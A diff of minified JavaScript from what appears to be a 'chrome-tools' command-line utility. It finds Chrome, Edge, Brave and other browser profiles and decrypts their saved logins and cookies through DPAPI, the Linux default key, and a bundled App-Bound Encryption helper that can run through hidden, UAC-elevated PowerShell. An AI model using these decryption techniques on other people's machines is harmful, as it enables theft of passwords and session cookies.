Object.values(nt)}function xn(r){if(!r)return null;let e=r.trim().toLowerCase();for(let t of Ie())if(t.id.toLowerCase()===e||t.name.toLowerCase()===e||t.aliases?.some(n=>n.toLowerCase()===e))return t;return null}function ge(r){let e=xn(r);if(e)return e;throw new Error(`Unknown browser "${r}". Supported: ${Ie().map(t=>t.id).join(", ")}.`)}var $e=nt[Sn];function A(){return $e}function Ne(r){return!r||!r.trim()?($e=nt[Sn],$e):($e=ge(r),$e)}var An={name:"darwin",getDefaultChromeDir(r=A()){return us(ss(),"Library","Application Support",...r.dirs.darwin.split("/"))},getDecryptionKey(r,e=A()){return Fn(e.safeStorageLabel)},decrypt(r,e){return et(r,e)},clearCache(){Bn()}};import{execFileSync as Gt}from"node:child_process";import{randomUUID as as}from"node:crypto";import{constants as ls,copyFileSync as cs,existsSync as ye,mkdirSync as fs,readFileSync as On,rmSync as ds,rmdirSync as ps}from"node:fs";import{dirname as kn,join as j,resolve as hs}from"node:path";var Nt=Buffer.from("DPAPI","ascii"),Mt=Buffer.from("APPB","ascii"),Wt=new Map,jt=new Map,Me=new Map,Ht=new WeakMap,ms=new Set(["chrome","chrome-beta","brave","edge"]),Ds=new Set(["EPERM","EACCES"]),gs=['const fs = require("node:fs");','const net = require("node:net");','const crypto = require("node:crypto");','const { spawn } = require("node:child_process");',"const [helper, dir, browserId] = process.argv.slice(1);",'const encB64 = fs.readFileSync(0, "utf8").trim();','const pipeName = "chrome-tools-abe-" + crypto.randomUUID();','const pipePath = "\\\\\\\\.\\\\pipe\\\\" + pipeName;',"const token = crypto.randomUUID();",'const cfgB64 = Buffer.from(JSON.stringify({ helper, dir, browserId, pipeName, token }), "utf8").toString("base64");',"const ps = [",` "$ErrorActionPreference = 'Stop'",`,` "$ProgressPreference = 'SilentlyContinue'",`,` "$cfg = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('" + cfgB64 + "')) | ConvertFrom-Json",`,` "$staged = Join-Path $cfg.dir ('chrome-tools-' + [guid]::NewGuid().ToString() + '.exe')",`,' "$created = $false",',' "$copied = $false",',' "$pipe = $null",',' "try {",',` " $pipe = [System.IO.Pipes.NamedPipeClientStream]::new('.', $cfg.pipeName, [System.IO.Pipes.PipeDirection]::InOut)",`,' " $pipe.Connect(15000)",',' " $reader = [System.IO.StreamReader]::new($pipe, [System.Text.Encoding]::ASCII, $false, 1024, $true)",',' " $writer = [System.IO.StreamWriter]::new($pipe, [System.Text.Encoding]::ASCII, 1024, $true)",',' " $writer.AutoFlush = $true",',' " $writer.WriteLine($cfg.token)",',' " $encB64 = $reader.ReadLine()",',' " if (-not (Test-Path -LiteralPath $cfg.dir)) {",',' " [void](New-Item -ItemType Directory -Path $cfg.dir -Force)",',' " $created = $true",',' " }",',' " [System.IO.File]::Copy($cfg.helper, $staged, $false)",',' " $copied = $true",',' " $psi = [System.Diagnostics.ProcessStartInfo]::new($staged, $cfg.browserId)",',' " $psi.WorkingDirectory = $cfg.dir",',' " $psi.UseShellExecute = $false",',' " $psi.CreateNoWindow = $true",',' " $psi.RedirectStandardInput = $true",',' " $psi.RedirectStandardOutput = $true",',' " $psi.RedirectStandardError = $true",',' " $proc = [System.Diagnostics.Process]::Start($psi)",',' " $proc.StandardInput.Write($encB64)",',' " $proc.StandardInput.Close()",',' " $out = $proc.StandardOutput.ReadToEnd()",',' " $err = $proc.StandardError.ReadToEnd()",',' " $proc.WaitForExit(10000) | Out-Null",',' " if ($proc.ExitCode -eq 0 -and $out) {",',` " $writer.WriteLine('OK:' + $out.Trim())",`,' " } else {",',` " $msg = if ($err) { $err.Trim() -replace '[\\\\r\\\\n]+', ' ' } else { 'exit ' + $proc.ExitCode }",`,` " $writer.WriteLine('ERR:' + $msg)",`,' " }",',' "} finally {",',' " if ($pipe) { try { $pipe.Dispose() } catch {} }",',' " if ($copied) { try { Remove-Item -LiteralPath $staged -Force -ErrorAction SilentlyContinue } catch {} }",',' " if ($created) {",',' " try {",',' " if ((Get-ChildItem -LiteralPath $cfg.dir -Force | Measure-Object).Count -eq 0) {",',' " Remove-Item -LiteralPath $cfg.dir -Force -ErrorAction SilentlyContinue",',' " }",',' " } catch {}",',' " }",',' "}",','].join("\\n");','const psEncoded = Buffer.from(ps, "utf16le").toString("base64");','let keyOut = "";','let errOut = "";','let psStderr = "";',"let done = false;","const finish = (code, msg) => {"," if (done) return;"," done = true;"," try { server.close(); } catch {}"," if (code === 0) process.stdout.write(msg);"," else process.stderr.write(msg);"," process.exit(code);","};","const server = net.createServer((socket) => {",' let buf = "";'," let authed = false;",' socket.on("data", (chunk) => {',' buf += chunk.toString("utf8");'," let nl;",' while ((nl = buf.indexOf("\\n")) !== -1) {'," const line = buf.slice(0, nl).trim();"," buf = buf.slice(nl + 1);"," if (!authed) {"," if (line !== token) { socket.destroy(); return; }"," authed = true;",' socket.write(encB64 + "\\n");'," } else {",' if (line.startsWith("OK:")) keyOut = line.slice(3);',' else if (line.startsWith("ERR:")) errOut = line.slice(4);'," socket.end();"," }"," }"," });",' socket.on("error", () => {});',"});","server.listen(pipePath, () => {",` const cmd = "$ProgressPreference='SilentlyContinue'; Start-Process -FilePath 'powershell.exe' -ArgumentList @('-NoProfile','-NonInteractive','-WindowStyle','Hidden','-EncodedCommand','" + psEncoded + "') -Verb RunAs -Wait";`,' const child = spawn("powershell.exe", ["-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden", "-Command", cmd], { windowsHide: true, stdio: ["ignore", "ignore", "pipe"] });',' child.stderr.on("data", (d) => { psStderr += d.toString("utf8"); });',' child.on("error", (err) => finish(1, err.message));',' child.on("close", () => {'," if (keyOut) finish(0, keyOut);",' else finish(1, errOut || psStderr.trim() || "Elevation cancelled or failed.");'," });","});"].join(`
51
+ The item may exist with no password. Re-run the browser to recreate it.`,r,"empty");return Pt.set(r,t),t}function Fn(r=wn,e){let t=$t.get(r);if(t!==void 0)return t;let n=e||os(r);if(!n)throw new Error("Keychain password cannot be empty for key derivation.");let i=Qo(n,ts,Zo,es,"sha1");return $t.set(r,i),i}function Bn(){Pt.clear(),$t.clear()}var nt={chrome:{id:"chrome",name:"Google Chrome",aliases:["google-chrome","google chrome"],safeStorageLabel:"Chrome Safe Storage",linuxSecretApp:"chrome",dirs:{darwin:"Google/Chrome",win32:"Google/Chrome/User Data",linux:"google-chrome"}},"chrome-beta":{id:"chrome-beta",name:"Google Chrome Beta",safeStorageLabel:"Chrome Safe Storage",linuxSecretApp:"chrome",dirs:{darwin:"Google/Chrome Beta",win32:"Google/Chrome Beta/User Data",linux:"google-chrome-beta"}},"chrome-canary":{id:"chrome-canary",name:"Google Chrome Canary",aliases:["canary"],safeStorageLabel:"Chrome Safe Storage",linuxSecretApp:"chrome",dirs:{darwin:"Google/Chrome Canary",win32:"Google/Chrome SxS/User Data",linux:"google-chrome-unstable"}},chromium:{id:"chromium",name:"Chromium",safeStorageLabel:"Chromium Safe Storage",linuxSecretApp:"chromium",dirs:{darwin:"Chromium",win32:"Chromium/User Data",linux:"chromium"}},edge:{id:"edge",name:"Microsoft Edge",aliases:["msedge","microsoft-edge","microsoft edge"],safeStorageLabel:"Microsoft Edge Safe Storage",linuxSecretApp:"chromium",dirs:{darwin:"Microsoft Edge",win32:"Microsoft/Edge/User Data",linux:"microsoft-edge"}},brave:{id:"brave",name:"Brave",aliases:["brave-browser"],safeStorageLabel:"Brave Safe Storage",linuxSecretApp:"chrome",dirs:{darwin:"BraveSoftware/Brave-Browser",win32:"BraveSoftware/Brave-Browser/User Data",linux:"BraveSoftware/Brave-Browser"}},comet:{id:"comet",name:"Comet",aliases:["perplexity","perplexity-comet"],safeStorageLabel:"Comet Safe Storage",linuxSecretApp:"chromium",dirs:{darwin:"Comet",win32:"Perplexity/Comet/User Data",linux:"comet"}},vivaldi:{id:"vivaldi",name:"Vivaldi",safeStorageLabel:"Chrome Safe Storage",linuxSecretApp:"chrome",dirs:{darwin:"Vivaldi",win32:"Vivaldi/User Data",linux:"vivaldi"}},opera:{id:"opera",name:"Opera",safeStorageLabel:"Opera Safe Storage",linuxSecretApp:"chromium",dirs:{darwin:"com.operasoftware.Opera",win32:"Opera Software/Opera Stable",win32Base:"roaming",linux:"opera"}}},Sn="chrome";function Ie(){return Object.values(nt)}function xn(r){if(!r)return null;let e=r.trim().toLowerCase();for(let t of Ie())if(t.id.toLowerCase()===e||t.name.toLowerCase()===e||t.aliases?.some(n=>n.toLowerCase()===e))return t;return null}function ge(r){let e=xn(r);if(e)return e;throw new Error(`Unknown browser "${r}". Supported: ${Ie().map(t=>t.id).join(", ")}.`)}var $e=nt[Sn];function A(){return $e}function Ne(r){return!r||!r.trim()?($e=nt[Sn],$e):($e=ge(r),$e)}var An={name:"darwin",getDefaultChromeDir(r=A()){return us(ss(),"Library","Application Support",...r.dirs.darwin.split("/"))},getDecryptionKey(r,e=A()){return Fn(e.safeStorageLabel)},decrypt(r,e){return et(r,e)},clearCache(){Bn()}};import{execFileSync as Gt}from"node:child_process";import{randomUUID as as}from"node:crypto";import{constants as ls,copyFileSync as cs,existsSync as ye,mkdirSync as fs,readFileSync as On,rmSync as ds,rmdirSync as ps}from"node:fs";import{dirname as kn,join as H,resolve as hs}from"node:path";var Nt=Buffer.from("DPAPI","ascii"),Mt=Buffer.from("APPB","ascii"),Wt=new Map,Ht=new Map,Me=new Map,jt=new WeakMap,ms=new Set(["chrome","chrome-beta","brave","edge"]),Ds=new Set(["EPERM","EACCES"]),gs=['const fs = require("node:fs");','const net = require("node:net");','const crypto = require("node:crypto");','const { spawn } = require("node:child_process");',"const [helper, dir, browserId] = process.argv.slice(1);",'const encB64 = fs.readFileSync(0, "utf8").trim();','const pipeName = "chrome-tools-abe-" + crypto.randomUUID();','const pipePath = "\\\\\\\\.\\\\pipe\\\\" + pipeName;',"const token = crypto.randomUUID();",'const cfgB64 = Buffer.from(JSON.stringify({ helper, dir, browserId, pipeName, token }), "utf8").toString("base64");',"const ps = [",` "$ErrorActionPreference = 'Stop'",`,` "$ProgressPreference = 'SilentlyContinue'",`,` "$cfg = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('" + cfgB64 + "')) | ConvertFrom-Json",`,` "$staged = Join-Path $cfg.dir ('chrome-tools-' + [guid]::NewGuid().ToString() + '.exe')",`,' "$created = $false",',' "$copied = $false",',' "$pipe = $null",',' "try {",',` " $pipe = [System.IO.Pipes.NamedPipeClientStream]::new('.', $cfg.pipeName, [System.IO.Pipes.PipeDirection]::InOut)",`,' " $pipe.Connect(15000)",',' " $reader = [System.IO.StreamReader]::new($pipe, [System.Text.Encoding]::ASCII, $false, 1024, $true)",',' " $writer = [System.IO.StreamWriter]::new($pipe, [System.Text.Encoding]::ASCII, 1024, $true)",',' " $writer.AutoFlush = $true",',' " $writer.WriteLine($cfg.token)",',' " $encB64 = $reader.ReadLine()",',' " if (-not (Test-Path -LiteralPath $cfg.dir)) {",',' " [void](New-Item -ItemType Directory -Path $cfg.dir -Force)",',' " $created = $true",',' " }",',' " [System.IO.File]::Copy($cfg.helper, $staged, $false)",',' " $copied = $true",',' " $psi = [System.Diagnostics.ProcessStartInfo]::new($staged, $cfg.browserId)",',' " $psi.WorkingDirectory = $cfg.dir",',' " $psi.UseShellExecute = $false",',' " $psi.CreateNoWindow = $true",',' " $psi.RedirectStandardInput = $true",',' " $psi.RedirectStandardOutput = $true",',' " $psi.RedirectStandardError = $true",',' " $proc = [System.Diagnostics.Process]::Start($psi)",',' " $proc.StandardInput.Write($encB64)",',' " $proc.StandardInput.Close()",',' " $out = $proc.StandardOutput.ReadToEnd()",',' " $err = $proc.StandardError.ReadToEnd()",',' " $proc.WaitForExit(10000) | Out-Null",',' " if ($proc.ExitCode -eq 0 -and $out) {",',` " $writer.WriteLine('OK:' + $out.Trim())",`,' " } else {",',` " $msg = if ($err) { $err.Trim() -replace '[\\\\r\\\\n]+', ' ' } else { 'exit ' + $proc.ExitCode }",`,` " $writer.WriteLine('ERR:' + $msg)",`,' " }",',' "} finally {",',' " if ($pipe) { try { $pipe.Dispose() } catch {} }",',' " if ($copied) { try { Remove-Item -LiteralPath $staged -Force -ErrorAction SilentlyContinue } catch {} }",',' " if ($created) {",',' " try {",',' " if ((Get-ChildItem -LiteralPath $cfg.dir -Force | Measure-Object).Count -eq 0) {",',' " Remove-Item -LiteralPath $cfg.dir -Force -ErrorAction SilentlyContinue",',' " }",',' " } catch {}",',' " }",',' "}",','].join("\\n");','const psEncoded = Buffer.from(ps, "utf16le").toString("base64");','let keyOut = "";','let errOut = "";','let psStderr = "";',"let done = false;","const finish = (code, msg) => {"," if (done) return;"," done = true;"," try { server.close(); } catch {}"," if (code === 0) process.stdout.write(msg);"," else process.stderr.write(msg);"," process.exit(code);","};","const server = net.createServer((socket) => {",' let buf = "";'," let authed = false;",' socket.on("data", (chunk) => {',' buf += chunk.toString("utf8");'," let nl;",' while ((nl = buf.indexOf("\\n")) !== -1) {'," const line = buf.slice(0, nl).trim();"," buf = buf.slice(nl + 1);"," if (!authed) {"," if (line !== token) { socket.destroy(); return; }"," authed = true;",' socket.write(encB64 + "\\n");'," } else {",' if (line.startsWith("OK:")) keyOut = line.slice(3);',' else if (line.startsWith("ERR:")) errOut = line.slice(4);'," socket.end();"," }"," }"," });",' socket.on("error", () => {});',"});","server.listen(pipePath, () => {",` const cmd = "$ProgressPreference='SilentlyContinue'; Start-Process -FilePath 'powershell.exe' -ArgumentList @('-NoProfile','-NonInteractive','-WindowStyle','Hidden','-EncodedCommand','" + psEncoded + "') -Verb RunAs -Wait";`,' const child = spawn("powershell.exe", ["-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden", "-Command", cmd], { windowsHide: true, stdio: ["ignore", "ignore", "pipe"] });',' child.stderr.on("data", (d) => { psStderr += d.toString("utf8"); });',' child.on("error", (err) => finish(1, err.message));',' child.on("close", () => {'," if (keyOut) finish(0, keyOut);",' else finish(1, errOut || psStderr.trim() || "Elevation cancelled or failed.");'," });","});"].join(`
52
52
  `);function ys(r){let e=["$ErrorActionPreference='Stop';","Add-Type -AssemblyName System.Security;","$b=[Console]::In.ReadToEnd().Trim();","$enc=[Convert]::FromBase64String($b);","$dec=[System.Security.Cryptography.ProtectedData]::Unprotect($enc,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);","[Console]::Out.Write([Convert]::ToBase64String($dec));"].join(" "),t;try{t=Gt("powershell.exe",["-NoProfile","-NonInteractive","-Command",e],{input:r.toString("base64"),encoding:"utf-8"})}catch(n){throw new Error(`DPAPI decryption via PowerShell failed.
53
53
  The encrypted_key can only be unprotected by the same Windows user that created it. Run as that user on the same machine.
54
- (powershell: ${n?.message??n})`)}return Buffer.from(t.trim(),"base64")}function Vt(r){let e=hs(r),t=kn(e);return ye(j(e,"Local State"))?e:t!==e&&ye(j(t,"Local State"))?t:e}function vn(r,e,t){try{let n=Gt(r,[t],{input:e.toString("base64"),encoding:"utf8",timeout:1e4,windowsHide:!0,stdio:["pipe","pipe","pipe"],cwd:kn(r)}),i=Buffer.from(n.trim(),"base64");return i.length===32?{key:i}:{error:"Unexpected App-Bound Encryption key length."}}catch(n){return{error:n?.stderr?.toString?.("utf8")?.trim()||n?.message||"App-Bound Encryption helper failed."}}}function Cs(){return process.platform==="win32"&&process.env.CHROME_TOOLS_NO_ELEVATE!=="1"&&!!(process.stdin.isTTY||process.stdout.isTTY)}function Es(r,e,t,n){try{let i=Gt(process.execPath,["--input-type=commonjs","-e",gs,r,j(e,"Temp"),n],{input:t.toString("base64"),encoding:"utf8",timeout:65e3,windowsHide:!0,stdio:["pipe","pipe","pipe"]}),o=Buffer.from(i.trim(),"base64");return o.length===32?{key:o}:{error:"Unexpected App-Bound Encryption key length."}}catch(i){return{error:i?.stderr?.toString?.("utf8")?.trim()||i?.message||"Elevated App-Bound Encryption failed."}}}function bs(r,e){if(!ms.has(e.id))return{error:`App-Bound Encryption is not supported for ${e.name}.`};let t=import.meta.dirname,n=[j(t,"chrome_abe_decrypt.exe"),j(t,"../../native/windows/chrome_abe_decrypt.exe")].find(ye);if(!n)return{error:"Bundled chrome_abe_decrypt.exe helper was not found."};let i=vn(n,r,e.id);if(i.key)return i;let o=e.dirs.win32.split("/").slice(0,-1),s=e.id==="edge"?"msedge.exe":e.id==="brave"?"brave.exe":"chrome.exe",a=new Set([process.env.ProgramW6432,process.env.ProgramFiles,process.env["ProgramFiles(x86)"],process.env.LOCALAPPDATA]),u=[],c=i.error;for(let l of a){if(!l)continue;let f=j(l,...o);if(!ye(j(f,"Application",s)))continue;let d=j(f,"Temp"),m=j(d,`chrome-tools-${as()}.exe`),p=!1,h=!1;try{p=fs(d,{recursive:!0})!==void 0,cs(n,m,ls.COPYFILE_EXCL),h=!0;let g=vn(m,r,e.id);if(g.key)return g;c=g.error}catch(g){Ds.has(g?.code)?u.push(f):g?.message&&(c=g.message)}finally{if(h)try{ds(m)}catch{}if(p)try{ps(d)}catch{}}}if(u.length>0){if(Cs())for(let d of u){let m=Es(n,d,r,e.id);if(m.key)return m;c=m.error}let l=j(u[0],"Temp"),f=c?` (${c})`:"";return{error:`Administrator privileges are required to stage the App-Bound Encryption helper under ${l}. Run from an elevated Administrator terminal or approve the UAC prompt${f}.`}}return{error:c}}var Rn={name:"win32",getDefaultChromeDir(r=A()){let t=r.dirs.win32Base==="roaming"?process.env.APPDATA||(process.env.USERPROFILE?j(process.env.USERPROFILE,"AppData","Roaming"):""):process.env.LOCALAPPDATA||(process.env.USERPROFILE?j(process.env.USERPROFILE,"AppData","Local"):"");if(!t)throw new Error("Could not resolve the Windows application-data directory.");return j(t,...r.dirs.win32.split("/"))},getDecryptionKey(r,e=A()){let t=r||this.getDefaultChromeDir(e),n=Vt(t),i=JSON.stringify([n,e.id]),o=Wt.get(i);if(o)return o;let s=j(n,"Local State");if(!ye(s))throw new Error(`Could not find Chrome's "Local State" at ${s}.
54
+ (powershell: ${n?.message??n})`)}return Buffer.from(t.trim(),"base64")}function Vt(r){let e=hs(r),t=kn(e);return ye(H(e,"Local State"))?e:t!==e&&ye(H(t,"Local State"))?t:e}function vn(r,e,t){try{let n=Gt(r,[t],{input:e.toString("base64"),encoding:"utf8",timeout:1e4,windowsHide:!0,stdio:["pipe","pipe","pipe"],cwd:kn(r)}),i=Buffer.from(n.trim(),"base64");return i.length===32?{key:i}:{error:"Unexpected App-Bound Encryption key length."}}catch(n){return{error:n?.stderr?.toString?.("utf8")?.trim()||n?.message||"App-Bound Encryption helper failed."}}}function Cs(){return process.platform==="win32"&&process.env.CHROME_TOOLS_ELEVATE==="1"&&process.env.CHROME_TOOLS_NO_ELEVATE!=="1"&&!!(process.stdin.isTTY||process.stdout.isTTY)}function Es(r,e,t,n){try{let i=Gt(process.execPath,["--input-type=commonjs","-e",gs,r,H(e,"Temp"),n],{input:t.toString("base64"),encoding:"utf8",timeout:65e3,windowsHide:!0,stdio:["pipe","pipe","pipe"]}),o=Buffer.from(i.trim(),"base64");return o.length===32?{key:o}:{error:"Unexpected App-Bound Encryption key length."}}catch(i){return{error:i?.stderr?.toString?.("utf8")?.trim()||i?.message||"Elevated App-Bound Encryption failed."}}}function bs(r,e){if(!ms.has(e.id))return{error:`App-Bound Encryption is not supported for ${e.name}.`};let t=import.meta.dirname,n=[H(t,"chrome_abe_decrypt.exe"),H(t,"../../native/windows/chrome_abe_decrypt.exe")].find(ye);if(!n)return{error:"Bundled chrome_abe_decrypt.exe helper was not found."};let i=vn(n,r,e.id);if(i.key)return i;let o=e.dirs.win32.split("/").slice(0,-1),s=e.id==="edge"?"msedge.exe":e.id==="brave"?"brave.exe":"chrome.exe",a=new Set([process.env.ProgramW6432,process.env.ProgramFiles,process.env["ProgramFiles(x86)"],process.env.LOCALAPPDATA]),u=[],c=i.error;for(let l of a){if(!l)continue;let f=H(l,...o);if(!ye(H(f,"Application",s)))continue;let d=H(f,"Temp"),D=H(d,`chrome-tools-${as()}.exe`),p=!1,h=!1;try{p=fs(d,{recursive:!0})!==void 0,cs(n,D,ls.COPYFILE_EXCL),h=!0;let g=vn(D,r,e.id);if(g.key)return g;c=g.error}catch(g){Ds.has(g?.code)?u.push(f):g?.message&&(c=g.message)}finally{if(h)try{ds(D)}catch{}if(p)try{ps(d)}catch{}}}if(u.length>0){let l=Cs();if(l)for(let p of u){let h=Es(n,p,r,e.id);if(h.key)return h;c=h.error}let f=H(u[0],"Temp"),d=l&&c?` (${c})`:"",D=l?`Run from an elevated Administrator terminal or approve the UAC prompt${d}.`:"Run from an elevated Administrator terminal or retry with --elevate.";return{error:`Administrator privileges are required to stage the App-Bound Encryption helper under ${f}. `+D}}return{error:c}}var Rn={name:"win32",getDefaultChromeDir(r=A()){let t=r.dirs.win32Base==="roaming"?process.env.APPDATA||(process.env.USERPROFILE?H(process.env.USERPROFILE,"AppData","Roaming"):""):process.env.LOCALAPPDATA||(process.env.USERPROFILE?H(process.env.USERPROFILE,"AppData","Local"):"");if(!t)throw new Error("Could not resolve the Windows application-data directory.");return H(t,...r.dirs.win32.split("/"))},getDecryptionKey(r,e=A()){let t=r||this.getDefaultChromeDir(e),n=Vt(t),i=JSON.stringify([n,e.id]),o=Wt.get(i);if(o)return o;let s=H(n,"Local State");if(!ye(s))throw new Error(`Could not find Chrome's "Local State" at ${s}.
55
55
  Run Google Chrome at least once so it creates the encryption key.`);let a;try{let l=On(s,"utf-8");a=JSON.parse(l)?.os_crypt?.encrypted_key}catch(l){throw new Error(`Failed to read os_crypt.encrypted_key from Local State: ${l.message}`)}if(!a)throw new Error(`No os_crypt.encrypted_key found in Local State.
56
- This profile may predate Chrome's encrypted-key scheme.`);let u=Buffer.from(a,"base64");if(!u.subarray(0,Nt.length).equals(Nt))throw new Error('Unexpected encrypted_key format (missing "DPAPI" prefix).');let c=ys(u.subarray(Nt.length));return Wt.set(i,c),Ht.set(c,{chromeDir:n,browser:e}),c},getAppBoundKey(r,e=A()){let t=Vt(r||this.getDefaultChromeDir(e)),n=JSON.stringify([t,e.id]),i=jt.get(n);if(i)return i;if(Me.has(n))return;let o=j(t,"Local State");if(!ye(o))return;let s;try{let c=On(o,"utf-8");s=JSON.parse(c)?.os_crypt?.app_bound_encrypted_key}catch{return}if(!s)return;let a=Buffer.from(s,"base64");if(!a.subarray(0,Mt.length).equals(Mt))return;let u=bs(a.subarray(Mt.length),e);if(!u.key){u.error&&Me.set(n,u.error);return}return Me.delete(n),jt.set(n,u.key),u.key},getAppBoundError(r,e=A()){let t=Vt(r||this.getDefaultChromeDir(e));return Me.get(JSON.stringify([t,e.id]))},decrypt(r,e){if(r.subarray(0,3).toString()==="v20"){let t=Ht.get(e),n=t&&this.getAppBoundKey?.(t.chromeDir,t.browser);return n?tt(r,n):"<app-bound encryption unavailable>"}return bn(r,e)},clearCache(){Wt.clear(),jt.clear(),Me.clear(),Ht=new WeakMap}};import{execFileSync as ws}from"node:child_process";import{homedir as _s}from"node:os";import{join as Tn}from"node:path";import{pbkdf2Sync as Fs}from"node:crypto";var Bs=1,Ss=16,xs=Buffer.from("saltysalt"),As="peanuts",Ut=new Map;function Os(r){let e=_n();if(e)return e(r);try{let t=ws("secret-tool",["lookup","application",r],{encoding:"utf-8",stdio:["pipe","pipe","pipe"]}).trim();if(t)return t}catch{}return As}var Ln={name:"linux",getDefaultChromeDir(r=A()){let e=process.env.XDG_CONFIG_HOME||Tn(_s(),".config");return Tn(e,...r.dirs.linux.split("/"))},getDecryptionKey(r,e=A()){let t=e.linuxSecretApp||"chrome",n=Ut.get(t);if(n!==void 0)return n;let i=Fs(Os(t),xs,Bs,Ss,"sha1");return Ut.set(t,i),i},decrypt(r,e){return et(r,e)},clearCache(){Ut.clear()}};var Ce=null;function it(){if(Ce)return Ce;switch(process.platform){case"darwin":Ce=An;break;case"win32":Ce=Rn;break;case"linux":Ce=Ln;break;default:throw new Error(`Unsupported platform: ${process.platform}. chrome-tools supports macOS, Windows, and Linux.`)}return Ce}function Pn(r){return it().getDefaultChromeDir(Kt(r))}function $n(r,e){return it().getAppBoundError?.(r,Kt(e))}function Kt(r){return r?typeof r=="string"?ge(r):r:A()}function Ee(r,e,t,n,i,o){let s=Kt(e),a=t,u,c=new Set;return l=>{let f;try{let d=it();d.getAppBoundKey&&l.subarray(0,3).toString()==="v20"?(u===void 0&&(u=d.getAppBoundKey(r,s)??null),f=u?tt(l,u):"<app-bound encryption unavailable>"):(a??=d.getDecryptionKey(r,s),f=d.decrypt(l,a))}catch(d){throw new F("decryption_unavailable",d instanceof Error?d.message:String(d),{cause:d})}if(typeof f=="string"&&!c.has(f)){c.add(f);let d=f==="<app-bound encryption unavailable>"?it().getAppBoundError?.(r,s):void 0;B(n,i,o,new F("decryption_unavailable",d||f))}return f}}var Mn=["Login Data","History","Bookmarks","Cookies","Web Data","Local Storage","LocalStorage","Preferences"];function ot(r){let e=re(r,"Network","Cookies");return J(e)?e:re(r,"Cookies")}function In(r){return Mn.some(e=>J(re(r,e)))||J(ot(r))}function We(r){return Pn(r)}function qt({includeMissing:r=!1}={}){let e=[];for(let t of Ie()){let n=We(t),i=J(n);!i&&!r||e.push({browser:t,chromeDir:n,installed:i,profileCount:i?ae(n).length:0})}return e}function ae(r,{reportAccessDenied:e=!1}={}){let t=r||We();if(!t)return[];try{let n=Nn(t,{withFileTypes:!0}),i=[];for(let o of n){if(!o.isDirectory()||o.name==="Network")continue;let s=re(t,o.name);In(s)&&i.push({name:o.name,path:s})}if(i.length===0&&In(t)){let o=Rs(t)||"Default";i.push({name:o,path:t})}return i}catch(n){let i=n.code;if(e&&(i==="EACCES"||i==="EPERM")){let o=process.platform==="darwin"?" Try Terminal.app if it already has access, or review the current app's permissions in System Settings \u2192 Privacy & Security.":" Check that your user has permission to read this directory.";throw new Error(`Permission denied reading the browser profile directory "${t}" (${i}).${o}`,{cause:n})}return[]}}function zt(r){let e=r||We(),t=re(e,"Local State");if(!J(t))return[];try{let n=vs(t,"utf-8"),o=JSON.parse(n)?.profile?.info_cache;return!o||typeof o!="object"?[]:Object.entries(o).map(([s,a])=>{let u=a;return{directory:s,name:u.name||s,gaiaName:u.gaia_name||"",userName:u.user_name||"",email:u.user_name||"",avatarIcon:u.avatar_icon||"",isUsingDefaultName:u.is_using_default_name??!0,isEphemeral:u.is_ephemeral??!1,activeTime:u.active_time||0}})}catch{return[]}}function Wn(r){let e=r||We(),t=ae(e),n=zt(e),i=new Map;for(let o of n)i.set(o.directory,o);return t.map(o=>{let s=i.get(o.name),a=o.path,u={};for(let c of Mn)u[c.replace(/\s+/g,"_").toLowerCase()]=J(re(a,c));return u.cookies=J(ot(a)),u.top_sites=J(re(a,"Top Sites")),u.extensions=J(re(a,"Extensions")),{directory:o.name,path:a,displayName:s?.name||o.name,gaiaName:s?.gaiaName||"",email:s?.email||"",avatarIcon:s?.avatarIcon||"",isEphemeral:s?.isEphemeral??!1,activeTime:s?.activeTime||0,dataFiles:u}})}function st(r){if(!r||!J(r))return 0;let e=0,t;try{t=Nn(r,{withFileTypes:!0})}catch{return 0}for(let n of t){let i=re(r,n.name);try{if(n.isSymbolicLink())continue;n.isDirectory()?e+=st(i):n.isFile()&&(e+=ks(i).size)}catch{}}return e}function x({profilePath:r,chromeDir:e,profile:t,browser:n,onDiagnostic:i}={}){let o=n?ge(n):void 0,s=r||e||We(o),a;try{a=ae(s,{reportAccessDenied:!!i})}catch(u){i?.({profile:t??"",store:"User Data",code:"unreadable",message:u instanceof Error?u.message:String(u)}),a=[]}if(t){let u=a.filter(c=>c.name===t);if(u.length===0)throw new Error(`Profile "${t}" not found in ${s}`);return u}return a}import{existsSync as Ks,readFileSync as qs}from"node:fs";import{homedir as Vn}from"node:os";import{join as ct}from"node:path";import{copyFileSync as Ws,rmSync as js}from"node:fs";import{basename as lt,dirname as Hn,join as Hs}from"node:path";import{DatabaseSync as Vs}from"node:sqlite";import{lstatSync as Ts,mkdtempSync as Ls,realpathSync as jn}from"node:fs";import{tmpdir as Ps}from"node:os";import{isAbsolute as $s,join as Is,relative as Ns,sep as Ms}from"node:path";function ie(r){try{let e=Ts(r,{bigint:!0});if(!e.isFile())throw new F("unreadable",`Expected a regular store file: ${r}`);return e}catch(e){if(e.code==="ENOENT")return;throw e}}function ut(r,e){return!r||!e?r===e:r.dev===e.dev&&r.ino===e.ino&&r.size===e.size&&r.mtimeNs===e.mtimeNs&&r.ctimeNs===e.ctimeNs}function at(r,e){let t=jn(Ps()),n=jn(r),i=Ns(n,t);if(!$s(i)&&i!==".."&&!i.startsWith(".."+Ms))throw new F("snapshot_unavailable","The temporary directory is inside the source profile. Set it to a directory outside the profile.");return Ls(Is(t,e))}function Gs(r){return r.map(e=>{let t={};for(let n of Object.keys(e)){let i=e[n];typeof i=="bigint"?t[n]=Number(i):i instanceof Uint8Array&&!Buffer.isBuffer(i)?t[n]=Buffer.from(i.buffer,i.byteOffset,i.byteLength):t[n]=i}return t})}function Us(r,e){let t=["","-wal","-journal"],n=t.map(i=>ie(r+i));if(!n[0])throw new F("missing_store",`Database file not found: ${r}`);try{for(let[i,o]of t.entries())n[i]&&Ws(r+o,e+o)}catch(i){let o=i.code;throw["EBUSY","EPERM","EACCES","ENOENT"].includes(o??"")?new F("snapshot_unavailable",`Could not copy ${lt(r)} and its journals. Close the browser and retry if it is open.`,{cause:i}):i}if(t.some((i,o)=>!ut(n[o],ie(r+i))))throw new F("snapshot_unavailable",`${lt(r)} changed during the copy. Close the browser and retry.`)}function Yt(r,e){let t=Hn(r),n=lt(t)==="Network"?Hn(t):t,i=at(n,"chrome-tools-"),o=Hs(i,"snapshot.sqlite"),s;try{Us(r,o),s=new Vs(o,{timeout:0}),s.exec("PRAGMA trusted_schema = OFF; PRAGMA query_only = 